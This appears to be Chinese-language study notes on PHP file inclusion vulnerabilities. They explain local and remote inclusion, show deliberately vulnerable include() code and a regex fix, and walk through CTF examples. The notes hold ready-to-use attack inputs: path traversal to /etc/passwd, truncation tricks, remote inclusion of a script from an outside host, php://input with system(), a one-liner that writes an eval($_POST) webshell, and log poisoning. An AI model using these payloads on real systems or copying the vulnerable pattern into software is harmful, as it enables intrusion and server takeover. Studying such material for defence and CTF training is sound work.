文件操作--文件包含漏洞
本文主要内容
脚本
ASP、PHP、JSP、ASPX、Python、Javaweb --# 各种包含函数
检测
白盒
代码审计
黑盒
漏扫工具、公开漏洞、手工看参数值及功能点类型
本地包含
有限制、无限制远程包含
无限制、有限制利用
http、ftp、file、各种脚本支持协议
修复
固定后缀、固定文件、WAF产品
--> 将文件以脚本执行
文件包含漏洞
基本含义
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为,通常分为两种类型:
本地文件包含(LFI):攻击者能够包含和执行服务器本地文件系统中的文件。攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
远程文件包含(RFI):包含互联网可以访问到的文件,危害更大。
文件包含漏洞的根本原因在于用户输入未严格验证、不当的文件处理逻辑以及缺乏安全配置。
模拟场景
场景描述
假设有一个PHP网站,它有一个功能是显示用户的个人资料。网站通过URL参数来接收用户ID,并根据这个ID来显示相应的用户资料。这个功能可能使用了类似下面的代码:
<?php // 假设用户ID通过URL参数传递 $user_id = $_GET['user_id'];// 根据用户ID包含相应的用户资料文件 include("users/$user_id.php"); ?>
在这个例子中,
include()
函数被用来包含一个名为users/$user_id.php
的文件。这里的$user_id
是从URL参数中直接获取的,没有进行任何验证或过滤。漏洞利用
攻击者发现这个功能后,可以尝试修改
user_id
参数来包含服务器上的其他文件。例如,攻击者可以通过修改URL为:
http://example.com/profile.php?user_id=../../../../../../../../etc/passwd
来尝试访问服务器的
/etc/passwd
文件。如果服务器配置不当,允许执行任意文件,攻击者甚至可以包含一个远程服务器上的恶意PHP脚本,从而执行远程代码。防御措施
为了防御这种类型的文件包含漏洞,可以采取以下措施:
验证和过滤用户输入:确保所有用户输入都经过严格的验证和过滤。在这个例子中,可以检查
$user_id
是否只包含数字和可能的字母(如果用户ID允许字母的话)。<?php $user_id = $_GET['user_id'];// 验证用户ID是否只包含数字和字母 if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.'); }include("users/$user_id.php"); ?>
模拟场景2
在本地搭建环境:配置一个include.php 文件,同时有一个1.txt文件写入php脚本
再通过浏览器访问 127.0.0.1:8080/include.php?filename=1.txt
<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>
对比发现,//127.0.0.1:8080/1.txt 会直接显示文本数据
而通过include($filename);会将指定文件里面的这个内容呢以这个脚本代码去执行,不同浏览器有自己的脚本样例
两种类型
本地包含
无限制
浏览器访问访问/127.0.0.1:8080/include.php?filename=../../../www.txt
www.txt文件被当作php脚本执行
<?php echo 'xiaodi'; ?>
有限制
访问会变成 include.php?filename=index.txt.html
<?php$filename=$_GET['filename']; include($filename.".html");?>
%00截断:条件:magic_quotes_gpc= Off php版本<5.3.4
filename=../../../www.txt%00 --# 不太实用
长度截断:条件:windows,点号需要长于256;1inux长于4096 --# 加上n个././远程包含
将远程文件作为脚本读取 [直接读取会当作文本文件]
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
<?php$filename=$_GET['filename']; include($filename);?>
如果有限制的话如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
协议利用
表格
协议 | PHP 支持情况 | Java 支持情况 |
---|---|---|
http | 支持 | 支持 |
https | 支持 | 支持 |
gopher | 需要 curlwrappers | JDK 1.7 之前不支持,之后支持 |
tftp | 需要 curlwrappers | 不支持 |
dict | 需要 curlwrappers | 不支持 |
file | 支持 | 支持 |
ftp | 支持 | 支持 |
imap | 需要 curlwrappers | 不支持 |
pop3 | 需要 curlwrappers | 不支持 |
rtsp | 需要 curlwrappers | 支持 |
smb | 需要 curlwrappers | 支持 |
smtp | 需要 curlwrappers | 不支持 |
telnet | 需要 curlwrappers | 不支持 |
PS:(curlwrappers
是 PHP 中的一个特性,它允许 PHP 使用 curl
库来处理 URL 流。这意味着可以通过 PHP 的一些常用函数,如 fopen()
和 file_get_contents()
,来访问和操作网络资源,而不需要直接使用 curl
库中的函数。curlwrappers
可以简化 URL 操作,使得开发者可以使用 PHP 中的常见函数来处理网络请求,而不必学习 curl
库中的复杂函数。然而,curlwrappers
的功能相对较弱,不能执行 curl
扩展所能进行的更复杂的操作。在编译 PHP 时,可以通过 --with-curlwrappers
选项来启用这个特性。)
php伪协议:
参考网站
php伪协议 - 看不尽的尘埃 - 博客园https://www.cnblogs.com/endust/p/11804767.html
使用案例
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt --#读取文件内容
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?> --# 使用POST提交
<?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>
三个案例
例题1
asdfhttp://4.chinalover.sinaapp.com/web7/index.php
解题过程
点开之后变成 /web7/index.php?file=show.php --# 观察url组成
说明可能存在文件包含(访问地址包含其他文件),试探性访问/web7/show.php,发现显示数据一样都是 “test123”,下面的操作就是,要么执行文件,要么执行命令,
如何确定是Linux还是其他OS呢?输入show.phP,报错则是Linux (不过我这里可能自动转小写,导致没有报错,因为Linux严格区分大小写) ,确定系统,发现路被堵住了,此时切换方法
/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,读取文件内容,加上base64编码是为了防止出现乱码
例题2
选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋https://www.ichunqiu.com/battalion?t=1&r=0
确认操作系统时候直接使用协议,看是否有拦截,hunqiu.com/?path=php://input
输入命令<?php system('cat<dle345aae.php');?> 执行Linux命令,再查看源码,得到flag
例题3
/127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])
访问不存在的文件,不存在就存到日志里面去了
/127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log
后续就进行漏洞输入x=phpinfo();
ekucms2.5文件漏洞复习_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909
知识点补充
PHP 中的
include()
函数用于将指定文件的内容包含到当前文件中,并且执行被包含文件中的代码。被包含的文件通常包含函数定义、类定义、配置设置或任何其他PHP代码。include()
函数在PHP脚本执行期间被调用,它会在脚本执行到该行时,将指定文件的代码读取并执行。示例
假设有两个文件:
header.php
和footer.php
,以及一个主文件index.php
。header.php:
<!DOCTYPE html> <html> <head><title>My Page</title> </head> <body>
footer.php:
</body> </html>
index.php:
<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>
在这个例子中,
index.php
使用include()
函数包含了header.php
和footer.php
文件。当访问index.php
时,它实际上显示了这三个文件的内容,即一个完整的HTML页面。